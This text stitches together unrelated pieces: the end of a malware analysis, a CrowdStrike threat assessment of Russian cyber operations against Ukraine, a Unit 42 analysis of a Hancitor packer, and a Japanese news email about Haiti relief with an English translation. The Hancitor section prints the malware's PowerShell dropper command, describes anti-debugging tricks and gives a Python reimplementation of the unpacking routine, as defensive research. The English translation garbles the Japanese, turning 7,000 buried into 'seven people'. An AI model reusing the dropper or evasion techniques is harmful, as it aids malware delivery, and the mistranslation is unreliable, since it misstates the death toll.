the hidden window, idle priority and disable Ctrl-C/Ctrl-Break. At this point, stage one of the infection is complete. Stage 2 starts from executing SandboxieBITS.exe or SbieMsg.dll (x64) run as a service Dll. We would like to stop here and publish the following sections when the time is appropriate. We wish you a happy new year! Truong Quoc Ngan (aka HTC) Malware Analysis Expert - VinCSS (a member of Vingroup)
# Past Cyber Operations Against Ukraine and What May Be Next CrowdStrike Intelligence Team January 28, 2022 Disruptive and destructive cyber operations have been levied against elements of Ukrainian society by adversaries attributed to the Russian government — or groups highly likely to be controlled by them — since at least 2014. These operations have impacted several sectors, including energy, transportation, and state finance, and have attempted to influence political processes and affect businesses more broadly within the country. These operations have been conducted in a semi-deniable manner, providing enough evidence to arouse suspicion of the likely perpetrators — so as to ensure that intended messaging is conveyed to targeted entities — while also obfuscating the activity’s origins. CrowdStrike attributes the majority of the known offensive operations against Ukraine to VOODOO BEAR, an adversary highly likely controlled by the Main Intelligence Directorate of the General Staff of the Armed Forces of the Russian Federation (GRU). The impact of offensive operations is rarely constrained to the initial target entity, with collateral damage occurring either directly through corruption of computer networks or indirectly through interruption of critical business services on which organizations rely for day-to-day operation. Analysis of previous activities has identified several situations in which apparently localized targeting has caused unintended consequences to organizations outside of Ukraine. This blog will evaluate major disruptive events against Ukrainian interests in the past and attempt to forecast likely forms and outcomes of future operations within the region. ## Techniques Employed by VOODOO BEAR Techniques employed by VOODOO BEAR to facilitate and deliver destructive effects have evolved over the years, from the distribution of targeted wiper malware via custom loaders to mimicking the effect of ransomware deployments using wider-reaching distribution mechanisms such as supply chain and strategic web compromises (SWC). However, the pretense of ransomware is often superficial, and its implementation is not consistent with financially motivated criminal actors. There is also evidence to suggest that the adversary has leveraged attribution fronts claiming to be motivated by hacktivist ideologies alongside destructive campaigns, likely in an attempt to amplify the effects of the attacks by publicizing them more widely. CrowdStrike Intelligence has reported extensively on VOODOO BEAR operations within Ukraine, with overviews of their evolving operations available to our premium intelligence subscribers. These campaigns are assessed to likely contribute to psychological operations seeking to degrade, delegitimize, or otherwise influence public trust in state institutions and industry sectors in the country. ### 2014-2016: Targeted Attacks Using Custom Delivery Malware Early destructive operations attributed to VOODOO BEAR have targeted a range of sectors within Ukraine, often leveraging a combination of the BlackEnergy malware (version 3) and the KillDisk (aka PassKillDisk) wiper. Many campaigns were timed to coincide with specific events or seasons, while the events in December 2016 could be interpreted as a persistent execution of successive attacks designed to have a multiplicative disruptive effect on the country. These operations included: - May 2014: targeting of energy and transportation organizations - October 2015: targeting of media outlets, coinciding with local elections - December 2015: targeting of an energy provider in western Ukraine - December 2016: targeting of state-operated financial institutions (FIs) and rail companies - December 2016: targeting of an energy provider causing power outages in Kiev - December 2016: targeting of the Ukrainian State Hydrographic Service Despite the relatively focused targeting in each of these cases, variants of the KillDisk malware distributed in December 2016 were modified to mimic ransomware and hacktivist intent, foreshadowing later developments in operational tactics, techniques, and procedures (TTPs). Observations of contemporary activity in this period suggest that attribution fronts adopting hacktivist personas were used to publicly release data from Ukrainian organizations alongside these offensive operations, although the exact nature of their coordination is unclear. For example, the CyberBerkut collective claimed responsibility for destructive and denial-of-service (DoS) attacks against the Ukrainian Central Election Commission (CEC) in May 2014, after which the group began publishing sensitive emails and internal documents from the CEC to support their claim. Similarly, in December 2016, a pro-Russia hacktivist group called Sprut leaked a series of documents related to the finances of the Ukrainian government’s state energy company. Later that month, the group announced they had disrupted the main website of the Ukrainian energy company Ukrenergo, which had publicly acknowledged that internal systems had been accessed on Dec. 17-18, 2016. Information operations (IO) combining public (disruptive) and non-public (destructive) intent are highly likely representative of attempts to amplify the effects of damage to government systems by controlling public narrative over an extended period. ### 2016-2017: Increased Deniability and Scale Through the Use of Pseudo-Ransomware VOODOO BEAR’s destructive operations in 2017 marked a distinct change in deployment and destructive payload TTPs. Building on earlier attempts to masquerade wipers as criminal ransomware, several campaigns using different — but technically linked — pseudo-ransomware families were deployed by the adversary against Ukrainian entities. Of particular note was the adoption of several deployment techniques that greatly amplified the potential scope and destructive implications of these operations. The use of supply chain compromise and SWC methodologies vastly increased the number of victims impacted by each campaign, and worm-like propagation mechanisms supported by the Mimikatz credential-stealing tool and the EternalBlue exploit for the CVE-2017-0144 vulnerability increased the potential impact on networks after initial infection. These operations included: - January 2017: Filecoder.NKH was deployed via a supply chain compromise of a Ukrainian IT company - May 2017: XDATA was deployed for a short period via the software update mechanism of M.E. Doc, a Ukrainian accounting software product used by many companies either located — or operating — within Ukraine - June 2017: FakeCry was deployed via a malicious M.E. Doc update, a malware family impersonating the infamous WannaCry ransomware - June 2017: NotPetya was deployed via the same M.E. Doc mechanism, with earlier tests likely deployed via SWC of a Ukrainian media website - October 2017: BadRabbit was deployed against Ukrainian transport networks via SWC of websites in several countries including Ukraine, Russia, Turkey, and Bulgaria Observations of a phased approach to the distribution of pseudo-ransomware variants across multiple delivery vectors suggest that campaigns in early 2017 may have been tests for the wider distribution of NotPetya, which was apparently timed to coincide with Ukraine’s Constitution Day. However, distribution of NotPetya via the M.E. Doc update mechanism — also used by non-Ukrainian organizations — and the implementation of unconstrained propagation techniques resulted in global spread with likely unintended impact to a wide variety of sectors including logistics, healthcare, and retail. The BadRabbit campaign also appeared to have resulted in collateral damage against some Russia-based organizations, likely as a result of victims visiting websites used to distribute the malware. ### 2022: Hybrid Operations Using Multiple Campaign Stages January 2022 reporting on what CrowdStrike tracks as the WhisperedDebate activity cluster involving website defacements and WhisperGate wiper operations against Ukrainian government networks demonstrates the continued intent to disrupt state institutions. CrowdStrike Intelligence does not currently attribute WhisperedDebate to a named adversary (e.g., VOODOO BEAR), although high-level parallels to previous operations, the Ukrainian focus, and timing of the activity strongly suggest a Russia-nexus adversary or a group aligned with their interests. Public statements from the Ukrainian government suggest that the scope of this operation was relatively constrained compared to VOODOO BEAR campaigns in 2017, although it is unknown whether this was intentional or representative of operational difficulties experienced by the adversary. However, the likely manual malware distribution vector employed and the focus on targeting of government networks — and other destructive attacks against IT service providers, likely in an attempt to cover up evidence of initial intrusion vectors — indicates that limited impact was intentional in this case. CrowdStrike has identified several attempts to distribute data purportedly acquired from several government organizations shortly after they had been targeted during the WhisperedDebate campaign, supporting claims made in the website defacement messages. While links between these events have not been conclusively proven at the time of writing, data leak evidence presented by several personas presenting hacktivist or criminal motivations may be representative of an attempt to execute an IO campaign to successively release personally identifiable information (PII), contrary to repeated statements from Ukrainian officials that no data had been taken during the network intrusions. These attempts can seek to degrade public trust in the government’s ability to effectively address the breaches. This use of IO mirrors earlier VOODOO BEAR TTPs, where the CyberBerkut and Sprut group personas contemporaneously released private data from Ukrainian organizations. The introduction of publicly visible website defacements during the WhisperedDebate activity provides an additional facet to the operation that can be easily picked up and amplified by media outlets. ## Assessment The extended history of destructive VOODOO BEAR operations against Ukrainian entities indicates a commitment to the execution of psychological operations against the local populace. This represents ongoing Russian government efforts to influence Ukraine against a backdrop of national security and populist policies. Ultimately, these operations and their intended effects are complementary to the Russian government’s overall strategy pertaining to Ukraine, although they do not appear to be specifically linked to overt diplomatic efforts or military maneuvers, and instead are likely intended as a separate tool that can be used to selectively increase tension within Ukraine and destabilize public trust in Ukrainian government institutions. The precise endgame for these actions is unclear, although coercing the population to reject closer ties with the West, establishing new leadership more favorable to Russia, or preparing for military action similar to the 2014 annexation of Crimea are all possible intended outcomes. CrowdStrike anticipates that future offensive operations against Ukraine will most likely take the form of destructive wiping attacks masquerading as ransomware. This assessment is made with moderate confidence, based on a successive evolution of technical TTPs and the acknowledgment that this type of operation can have the desired disruptive effect and signal deeper intent, while still avoiding taking direct responsibility for the attacks. The contemporaneous use of IO campaigns to launder and publicize PII or other sensitive data stolen during network breaches and draw media awareness through website defacement activity is also likely to occur as part of hybrid operations in the future. A low chance of DoS attacks may be present in future campaigns, although this technique has not been observed in recent years and arguably has little lasting effect on targeted organizations. DoS would most likely be used in combination with other offensive actions such as wiping attacks, or to bolster credentials within hacktivist communities. Based on observations of past events such as the spread of NotPetya, disruptive and destructive attacks against Ukraine are likely to have broader implications, including potential impacts to organizations based outside the country. Collateral damage is particularly likely to be experienced by companies that operate subsidiaries within Ukraine or possess network assets interconnected with Ukrainian organizations. This assessment is made with moderate confidence, although there is evidence to suggest that subsequent operations have attempted to limit the scope of unconstrained malware propagation, likely due to the significant unintended fallout of NotPetya. Outside of being directly impacted by destructive attacks, organizations relying on Ukrainian logistics networks are likely to experience disruptive effects of any future operations targeting part of the Ukrainian transport sector. Destructive attacks intentionally targeted at organizations outside the country — such as those headquartered within countries supportive of Ukraine’s position against Russia, including the U.S. and those in Europe — cannot be completely discounted, although this is assessed as an unlikely scenario due to the risk of uncontrolled escalation of international tension and punitive measures, including direct retaliatory actions by other governments. However, the incidental targeting of international businesses operating within Ukraine may be used by Russian-nexus adversaries to dissuade business operations and investment and destabilize the local economy. ## CrowdStrike Intelligence Confidence Assessment **High Confidence:** Judgments are based on high-quality information from multiple sources. High confidence in the quality and quantity of source information supporting a judgment does not imply that that assessment is an absolute certainty or fact. The judgment still has a marginal probability of being inaccurate. **Moderate Confidence:** Judgments are based on information that is credibly sourced and plausible, but not of sufficient quantity or corroborated sufficiently to warrant a higher level of confidence. This level of confidence is used to express that judgments carry an increased probability of being incorrect until more information is available or corroborated. **Low Confidence:** Judgments are made where the credibility of the source is uncertain, the information is too fragmented or poorly corroborated enough to make solid analytic inferences, or the reliability of the source is untested. Further information is needed for corroboration of the information or to fill known intelligence gaps.
# Dissecting Hancitor’s Latest 2018 Packer **By Jeff White** **February 27, 2018** **Category: Unit 42** **Tags: hancitor** ## Summary Over the past two years, the Hancitor malware family has been a fairly regular nuisance that defenders on the front line of organizations have to deal with on an almost weekly basis. The malware itself has gone through more than 80 variations during this time, sometimes just to define new variables for campaigns and other times a complete rewrite of the malware’s core functionality by the code authors. Every now and then though, they venture out into the unknown with techniques unlike what Hancitor has used before. These occasions tend to be short-lived and I look at them more as “testing” phases. I suspect the malware authors monitor their infection rates and when they deviate from the tried and true, campaigns end up being less successful. For those interested in an overview of how a typical Hancitor malspam campaign operates, Unit 42 recently published a blog on the subject. In this post, I’ll be diving into the technical inner-workings of their latest malware packer. For this particular instance, campaigns on January 24, 2018 and January 25, 2018 used a different document format, Rich Text Format (RTF), that leveraged an exploit (CVE-2017-11882) to launch shellcode which executed a PowerShell command used to download the standard binary which has been used for months. Usually, Hancitor is distributed through Microsoft Word documents utilizing macros but RTF documents typically require some kind of exploit to execute code. In the past, Hancitor has kept itself at arm’s length from exploitation and instead relied entirely on social-engineering. This most likely helps evade against anti-virus (AV) and endpoint detection and response (EDR) systems monitoring for that type of activity. The first RTF variant on the 24th is fairly straightforward; however, on the 25th, the RTF now included an embedded PE file that was entirely different than their standard binary. This PE file exhibited a new unpacking technique that the Hancitor developers have never employed before and this will be the meat of the blog post. My end goal is to identify the standard Hancitor command and control (C2) gate URL’s, which stayed the same even with the new dropper in use. For this analysis, I’ll be using the following sample: **SHA256**: B489CA02DCEA8DC7D5420908AD5D58F99A6FEF160721DCECFD512095F2163F7A ## RTF Dropper I won’t be getting into the details of the exploit but suffice to say, they used the CVE-2017-11882 exploit in their RTF document to launch shellcode and execute a PowerShell command. The PowerShell command in this campaign will save a base64 encoded PE to disk and then call the Start-Process cmdlet on it. ```powershell $EUX4JTF7 = '';foreach($82OJU7FY3US in (1..12 | foreach{ '{0:X}' -f (Get-Random -Max 235) })){$EUX4JTF7 += "$82OJU7FY3US"};$NR3M = "$env:USERPROFILE\" + $EUX4JTF7 + ".exe";[IO.File]::WriteAllBytes($NR3MNTAYNI, [System.Convert]::FromBase64String('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAA<TRUNCATED>…AAAAAAAAAAAAA'));Start-Process $NR3MNTAYNI ``` ## Hancitor PE Once the PE is launched, it will create a simple mutex called “e” and then begin to employ some anti-disassembly techniques that seek to hinder static analysis. In general, most popular disassemblers default to flow-oriented disassembly as opposed to linear disassembly. This means that when the disassembler analyzes instructions, if the instruction would shift the execution of the program to another location, then the disassembler may follow the instructions to that location to continue analysis. All bytes which would come after the branching may go unanalyzed and won’t be disassembled. Abusing this functionality to confuse the disassembler is a very common technique. Effectively, this sample builds an address location into a register and then uses that register as the operand for a CALL instruction to shift execution to a section of code that the disassembler hasn’t analyzed. Since the disassembler doesn’t know what value will be in that register upon analysis, assuming the code isn’t analyzed due to other reasons, then it just leaves it as ‘data’. In a debugger, this problem is fairly trivial to deal with as you can just instruct the debugger to re-analyze the code from any point you choose. After its initial jump into unanalyzed code, the malware begins to employ more anti-disassembly and anti-debugging techniques. Specifically, it starts executing code where there will be one or two instructions immediately followed by a jump. Normally, you would be able to read instructions linearly and get an understanding of the overall functionality, but with jumps interspersed between each instruction, the flow is obscured and harder to analyze as you only ever see one or two pieces of the overall function on your screen. This requires you keep track of what’s going on, step-by-step. In this case, the first thing the code does is to load the address for VirtualProtect() into the EAX register and build the parameters on the stack for a call to it. Again, using a call to the register further helps prevent static analysis. Once the call is made, it adjusts the privileges for all memory space loaded by this PE to have read, write, and execute (RWE) bits set. ``` Address Size Owner Section Contains Type Access Initial Mapped as 00400000 00001000 b489ca02 PE header Imag RWE CopyOnWr RWE 00401000 00008000 b489ca02 .text code Imag RWE CopyOnWr RWE 00409000 00002000 b489ca02 .rdata imports Imag RWE CopyOnWr RWE 0040B000 00001000 b489ca02 .data data Imag RWE CopyOnWr RWE 0040C000 00001000 b489ca02 .rsrc resources Imag RWE CopyOnWr RWE ``` Setting all of the permissions to RWE allows for execution in the program to be transferred to any of the mapped memory regions, whereas typically it’s limited to the “code” section. There is also no reason they couldn’t have contained all of this within the “code” section, so it’s a good indicator for detection when everything is converted to RWE. This is commonly done when there will be code hidden outside of the originally defined area; however, in this sample, they never actually execute code outside of this memory region so it’s a shotgun approach to adjusting privileges. The next action it will take, still using the same instruction-jump obfuscation, begins to XOR 0xC80 bytes beginning at address 0x402185 with the value 0xD1. One interesting oddity to their method here is that they move the value 0x5AF06AD1 to the EAX register, but only use the lower byte, AL (0xD1), for the XOR and ignore the other three bytes. It wouldn’t be the first time the Hancitor malware has intended to use a full value but introduced errors in their code that caused it to only partially work as intended. The decoding routine looks like the following. ``` 004040EA 3007 XOR BYTE PTR DS:[EDI],AL 004040EC E9 8B000000 JMP b489ca02.0040417C 0040417C 41 INC ECX 0040417D EB DD JMP SHORT b489ca02.0040415C 0040415C 47 INC EDI 0040415D EB D8 JMP SHORT b489ca02.00404137 00404137 39F1 CMP ECX,ESI 00404139 0F81 24FFFFFF JNO b489ca02.00404063 00404063 0F82 81000000 JB b489ca02.004040EA ``` Once this loop finishes decoding new shellcode, it will transfer execution to address 0x402185 with a JMP instruction. To illustrate looking at assembly that hasn’t been analyzed yet, from a debugger perspective, you would see these bytes as data within the “code” section. ``` 00402185 55 DB 55 ; CHAR 'U' 00402186 8B DB 8B 00402187 EC DB EC 00402188 81 DB 81 00402189 EC DB EC 0040218A 04 DB 04 0040218B 02 DB 02 0040218C 00 DB 00 0040218D 00 DB 00 0040218E 53 DB 53 ; CHAR 'S' 0040218F 56 DB 56 ; CHAR 'V' 00402190 57 DB 57 ; CHAR 'W' 00402191 60 DB 60 ; CHAR '`' 00402192 FC DB FC ``` Simply telling the debugger to reanalyze the code found will make it human readable. ``` 00402185 . 55 PUSH EBP 00402186 . 8BEC MOV EBP,ESP 00402188 . 81EC 04020000 SUB ESP,204 0040218E . 53 PUSH EBX 0040218F . 56 PUSH ESI 00402190 . 57 PUSH EDI ; b489ca02.00402E05 00402191 . 60 PUSHAD 00402192 . FC CLD ``` ## Initial Shellcode Once inside this new shellcode it begins to look up the address locations for a number of functions using GetProcAddress(). These functions will be used throughout the unpacking routines. The function names are not obfuscated and, once decoded from the above, can be seen in plain text. Some of the functions and DLL names looked up are listed below: - GetModuleHandleA - LoadLibraryA - VirtualAlloc - VirtualFree - OutputDebugStringA - ntdll.dll - _stricmp - memset - memcpy Throughout the unpacking, VirtualAlloc(), memcpy(), and VirtualFree() are heavily used for moving data around and overwriting existing data. Once it has all of the addresses, the sample will allocate a 0x1000 byte memory page and copy all of the decoded shellcode into it. Next, it will begin to egg hunt for two DWORD values, 0x88BAC570 and 0x48254000 respectively, in which it will find the address four bytes from the start of the second egg. Egg hunting allows the code to be position independent and is a technique found in almost all Hancitor variants. After identifying the address, it will be used in another “JMP EAX” instruction to transfer execution to a new function within the copied shellcode, at offset 0x3E4, in the newly allocated memory range. ## Data Setup From a control flow perspective, the same code is being executed, albeit from a new location, which frees up the unpacking functions to overwrite the code in the main body of the Hancitor PE. The first actions taken is to overwrite code in three locations by copying data toward the end of the “code” section to earlier areas, shown below. | Source | memcpy() | Size | Dest Addr Range | |-------------|----------|------|------------------| | 0x407C9E | 0x514 | 0x4058D4-0x405DE8 | | 0x4078B6 | 0x3E8 | 0x40400A-0x4043F2 | | 0x406C36 | 0xC80 | 0x402185-0x402E05 | During this operation, there is another good example that illustrates some of the anti-analysis tricks in use. ``` 001F0453 EB 10 JMP SHORT 001F0465 001F0455 82EF 3D SUB BH,3D 001F0458 3C 5D CMP AL,5D 001F045A 53 PUSH EBX 001F045B C8 E8518D ENTER 51E8,8D 001F045F FB STI 001F0460 D9D0 FNOP 001F0462 231B AND EBX,DWORD PTR DS:[EBX] 001F0464 14 83 ADC AL,83 001F0466 C003 89 ROL BYTE PTR DS:[EBX],89 001F0469 8540 FF TEST DWORD PTR DS:[EAX-1],EAX ``` Beginning at the top of the code, you’ll notice the “JMP SHORT 001F0465” instruction which is not actually in the address listing on the left side of this snippet. This is a common technique to obscure code flow because it was disassembled linearly at the instruction boundaries, but the JMP instruction is redirecting execution outside of the boundary. Once this jump is actually taken and lands in the middle of the shown instruction 0x1F0464, the code will be re-analyzed based on the instruction pointer location and change the meaning entirely. ``` 001F0465 83C0 03 ADD EAX,3 001F0468 8985 40FFFFFF MOV DWORD PTR SS:[EBP-C0],EAX ``` ## Unpacking More Shellcode This next phase is where the unpacking actually occurs and the main purpose of this blog. Before I get into it, I’ll preface it with if you know how RC4 works, you may want to skip ahead as the first two sections will cover the RC4 key-scheduling algorithm (KSA) and the RC4 pseudo-random generation algorithm (PRGA), which are used as part of this unpacking algorithm. In general, packers seek to modify data or code in such a way that it’s unlike the original content, effectively obfuscating it. Packers are not inherently bad but it adds another layer of evasion to malware, so they tend to go hand-in-hand. Each packer typically attempts to put their own spin on how to do this by coming up with unique algorithms; this makes it difficult to programmatically unpack malware at scale but also allows for varying levels of protection. Code packing algorithms can be as simple as a one-byte XOR across the data to full-on encryption or compression. In the case of this malware, they’ve created an algorithm which initially uses RC4 KSA and incorporates the RC4 PRGA within a loop to generate a table of offsets that dictate the order in which to piece back together more shellcode. ### RC4 KSA To kick things off, this sample creates the substitution box (S-box) used in RC4 KSA. First, it will allocate an array of incrementing values starting from 0x0 to 0x100 (0-256) entirely on the stack. I’ve annotated the assembly below which covers building and modifying the S-box, which is heavily utilized throughout the rest of the unpacking. ``` # Counter Check 001F04CA 8B4D F8 MOV ECX,DWORD PTR SS:[EBP-8] ; Set ECX to counter value 001F04CD 83C1 01 ADD ECX,1 ; Increment counter by 0x1 001F04D0 894D F8 MOV DWORD PTR SS:[EBP-8],ECX ; Store counter on stack 001F04D3 817D F8 00010000 CMP DWORD PTR SS:[EBP-8],100 ; Compare counter to 0x100 001F04DA 74 61 JE SHORT 001F053D ; End loop if counter is at 0x100 # Add previous loop value to value found at index in array 2 and the counter 001F04DC 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8] ; Set EAX to counter value 001F04DF 33D2 XOR EDX,EDX ; Zero-out EDX register 001F04E1 F7B5 48FFFFFF DIV DWORD PTR SS:[EBP-B8] ; Divide counter by 0x10 to retrieve index value for array ``` In this case, there are two arrays, the S-box built on the stack and another 16-byte “key” array found at 0x455 into the new shellcode. This key array is used to modify values throughout the KSA. Effectively, it takes the counter and uses 0x10 to calculate its modulo, afterwards this is used as an index into the key array. The dereferenced value found at the index is added to the “final” value from the previous iteration. In the case of the first iteration, this “final” value will be zero. Once those two values are added together, it will add the counter value to the sum and use 0x100 to calculate its modulo, becoming the new “final” value for the next iteration. After completing that equation, it takes the “final” value as an index in the 256-byte S-box array and swaps the dereferenced value with the dereferenced value found at the index in the first array using the counter. This is the RC4 KSA in a nutshell. ### RC4 PRGA The RC4 PRGA is used within the main unpacking loop specifically to generate a keystream value but how that value is used is where the malware author begins to diverge from RC4. I’ll briefly cover PRGA and then move onto the parent unpacking loop, which will make reference back to this algorithm. Using a loop counter as an index into the original S-box, PRGA will dereference the value at sbox1[counter] and add it to the previous keystream value to create the second index. These values will then get swapped around in the S-box, similar to how the KSA does it. Finally, it will retrieve the value at sbox1[counter] and sbox1[secondIndex], add them together, and then use them in a modulo calculation with 0x100 to generate the new keystream value. For example, the first byte referenced (counter starting at 0x1 in this case) is sbox1[0x1], which is 0x7 after completing the KSA. The value at sbox1[0x7] is 0xA6 and they swap values so that sbox1[0x1] is 0xA6 and the value at sbox1[0x7] is 0x7. It then adds 0xA6 to 0x7 to make 0xAD and takes the dereferenced value at sbox1[0xAD], in this case 0x58, as the keystream value. Now, at this point, in regular RC4, the new keystream value would be used in an XOR operation to decode or encode a byte of ciphertext or plaintext. As you can guess, that is not the case with this malware. ## Offset Table Taking a step back, once the S-box generation is complete, the next step is to allocate two more regions of memory. It fills the first region, again, with incrementing values until it hits 0x5C36 but this time each value is a DWORD instead of a singular byte. This region will show itself to be yet another S-box in function. Next, it launches into the main unpacking loop, which is the meat of the operation. On each iteration of this loop, it will use an inner-loop (the previously detailed RC4 PRGA) to retrieve a keystream byte – performed four times each parent loop iteration. After obtaining the four bytes of keystream values, it will combine them into a DWORD and use it in a modulo calculation with the loop counter from the parent loop, decrementing by one each iteration from the length of the data (0x5C36). For example, the first four bytes of keystream values are 0x58, 0x58, 0xF2, and 0xEA, which is combined to form 0xEAF25858. ``` 0xEAF25858 % 0x5C36 = 0x5200 ``` It takes the result of this operation and uses it as an index into the second S-Box of DWORD’s. Next, it takes the dereferenced value found at the index and stores it in the third memory region, incrementing by an offset of 4 each time. Finally, it swaps the dereferenced values in the second memory region with the value found at the index into the second S-box. In this case, the first DWORD in the third memory region will be 0x5200. It swaps the dereferenced values in the second memory region with the counter value so the value at the offset for 0x5200 will become 0x5C35 (decremented by 4 bytes) and the value found at the offset for 0x5C35 will be 0x5200. This process continues until the parent loop finishes and, once complete, it will allocate another memory region wherein it copies 0x5C36 bytes from address 0x401000 in the main program. Alright, if you’ve stuck with me this long, what I want to convey is that all of the above is to create an elaborate table of DWORD offsets, used as indexes, that define how the data will be unshuffled, which is finally what happens next. For each byte in the new memory region, which is the data just copied from address range 0x401000-0x406C36, it will add the corresponding DWORD value for the respective iteration to the base of 0x401000 and copy that byte over. As a reminder, the data being copied at this point is the same data initially moved into position by the first three memcpy() calls. The first DWORD in the third memory region is 0x5200, as discussed previously, and the first byte at 0x401000 is 0x8B, thus at 0x406200 (0x401000 + 0x5200) the value 0x8B will be placed. At no point are any of the bytes manipulated, as would be standard in an RC4 implementation, but instead are just rearranged into their respective order. To help illustrate with code, below is the full implementation of the algorithm in Python. ```python def sbox1init(): return [x for x in range(0, 0x100)] def sbox2init(): return [x for x in range(0, 0x5C36)] def rc4ksa(sbox1, key): oldValue = 0x0 for counter in range(0, len(sbox1)): addValue = key[counter % len(key)] fnlValue = (oldValue + addValue + sbox1[counter]) % 0x100 sbox1[fnlValue], sbox1[counter] = sbox1[counter], sbox1[fnlValue] oldValue = fnlValue return sbox1 def offsetGen(sbox1, sbox2): offsetTable = [] innerCount = 1 oldValue = 0x0 for counter in range(len(sbox2), 0, -1): fnlValue = "" for x in range(0, 4): innerIdx = innerCount % len(sbox1) oldValue = (sbox1[innerIdx] + oldValue) % 0x100 addValue = (sbox1[oldValue] + sbox1[innerIdx]) % 0x100 sbox1[innerIdx], sbox1[oldValue] = sbox1[oldValue], sbox1[innerIdx] fnlValue = "%02X" % sbox1[addValue] + fnlValue innerCount += 1 fnlValue = int(fnlValue, 16) % counter offsetTable.append(sbox2[fnlValue]) sbox2[fnlValue], sbox2[counter-1] = sbox2[counter-1], sbox2[fnlValue] return offsetTable def unshuffle(data, offsetTable): unshuffle = [0x0] * len(offsetTable) data = [data[x:x+2] for x in range(0, len(data), 2)] for counter, entry in enumerate(offsetTable): unshuffle[entry] = chr(int(data[counter], 16)) return "".join(unshuffle) key = [0x82, 0xEF, 0x3D, 0x3C, 0x5D, 0x53, 0xC8, 0xE8, 0x51, 0x8D, 0xFB, 0xD9, 0xD0, 0x23, 0x1B, 0x14] data = "" offsetTable = offsetGen(rc4ksa(sbox1init(), key), sbox2init()) data = unshuffle(data, offsetTable) ``` Thus, concludes the unpacking algorithm. You’ll see familiar strings for the actual Hancitor malware once it finishes. ## Hancitor Before execution shifts back to the main program, they use more anti-debugging tricks by calling the OutputDebugStringA() function to check whether or not the program is being debugged. Once that check is passed, it will begin executing the code found at 0x404000. I won’t spend too much time on the functionality of Hancitor as it has been blogged about endlessly but this is what this particular sample will do: - Get OS version - Get adapter address - Get Windows directory - Get volume information - Check external IP with api[.]ipify[.]org Once it has the information it needs, depending on whether you’re running on x86 or x64 architecture, it formats the following string used in the initial POST to the Hancitor gate. ## Gates Going back to the entire reason I even delved into this was that I’ve maintained a Hancitor decoder for the past two years and, with each new variant, I try to find a way to decode out the Hancitor gates so they can quickly be identified and blocked. This variant, even after all of the above unpacking, still left me in the dark as to where the gates were. To figure that out, we have to look a bit further into the code. At the address 0x402B51 in the unpacked shellcode we’ll find a series of Windows decryption calls that take a blob of encrypted data, decrypt it, and reveal the Hancitor gate URL’s and campaign code. - CryptAcquireContextA - CryptCreateHash - CryptHashData - CryptDeriveKey - CryptDecrypt - CryptDestroyHash - CryptDestroyKey The algorithm in use here is SHA1 hashing with actual RC4 encryption. It uses an 8-byte value (0xAAE8678C261EC5DB) to derive the SHA1 key and then decrypts 0x2000 bytes. ## Conclusion While Hancitor continues to evolve, they stick to a fairly strict playbook. This sample diverged from that playbook quite heavily but only saw usage in one campaign before they reverted back to other, older, variants. This may be due to the way it’s packed being detected more frequently or some other unknown reason that caused a drop in their infection rates that prompted removing it. Either way, it’s important to continue tracking their operation and documenting new techniques and tactics used by this adversary. Palo Alto Networks customers are protected from Hancitor by WildFire and Traps. This threat can be tracked within AutoFocus by using the Hancitor tag. ## IOCs ### Hancitor Gates - hxxp://naveundpa[.]com/ls5/forum[.]php - hxxp://undronride[.]ru/ls5/forum[.]php - hxxp://dingparjushis[.]ru/ls5/forum[.]php ### User-Agent - Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
# Haiti Relief Efforts **From:** [email protected] **Sent:** Sunday, January 17, 2010 4:15 PM **Subject:** ハイチの救援活動が難航 7千人埋葬、時間との勝負 ハイチの救援活動が難航し、7千人埋葬、時間との勝負。大地震発生から2日が経過したハイチでは14日、現地入りした欧米の救援チームが倒壊家屋の下敷きになった被災者の捜索活動を始めるなど、国際的な救援活動が本格化した。しかし、人員や医薬品が不足し活動は難航している。ロイター通信によると、プレバル・ハイチ大統領は同日、地震による死者約7千人が既に墓地に埋葬されたと述べた。国連の潘基文事務総長は「発生後、72時間が鍵だ」と述べ、時間との勝負になっていることを強調した。 国連や米CNNテレビによると、米の救援チームが14日朝、首都ポルトープランスで倒壊した平和維持活動(PKO)部隊の本部ビルに下敷きになっていたエストニアの警備要員の男性(38)を救助。現地には災害救助犬を連れたフランス隊のほか、スペイン、ドミニカ共和国などの救援チームが続々と到着、活動を始めた。事務総長は「今後、各国からさらに派遣される」と語った。 被災地では医師、医療品不足が深刻化。国連や各国は救援物資の運搬、配布に全力を挙げる方針だ。ただ、ロイター通信によると、甚大な被害を受けたポルトープランスの空港は人員や物資を運ぶ航空機で満杯状態となり、米連邦航空局(FAA)は米国から同空港への飛行を当面見合わせるよう指示した。 --- **Subject:** Haiti relief deadlock seven people buried in 1000, race against time Haiti's troubled rescue efforts are facing difficulties as seven people have been buried in the aftermath of a large earthquake in Port-au-Prince. Two days after the earthquake on the 14th, local rescue teams began searching for victims buried under collapsed houses, marking the start of international relief activities. However, a lack of medical personnel and supplies is hindering efforts. According to Reuters, President Preval of Haiti stated that approximately seven thousand people have already been buried due to the earthquake. UN Secretary-General Ban Ki-moon emphasized that "the first 72 hours are crucial," highlighting the race against time. CNN reported that on the morning of the 14th, U.S. rescue teams rescued a 38-year-old Estonian security personnel who had been trapped under the collapsed headquarters of the peacekeeping operations in the capital. Local disaster relief teams, including those from France, Spain, and the Dominican Republic, have also begun arriving and starting their operations. The Secretary-General mentioned that more teams will be dispatched from various countries. In the disaster areas, there is a severe shortage of doctors and medical supplies. The United Nations and other countries are making concerted efforts to transport and distribute relief supplies. However, according to Reuters, the airport in Port-au-Prince has become overwhelmed with aircraft carrying personnel and supplies, leading the Federal Aviation Administration (FAA) to request a temporary halt to flights from the U.S. to the airport.
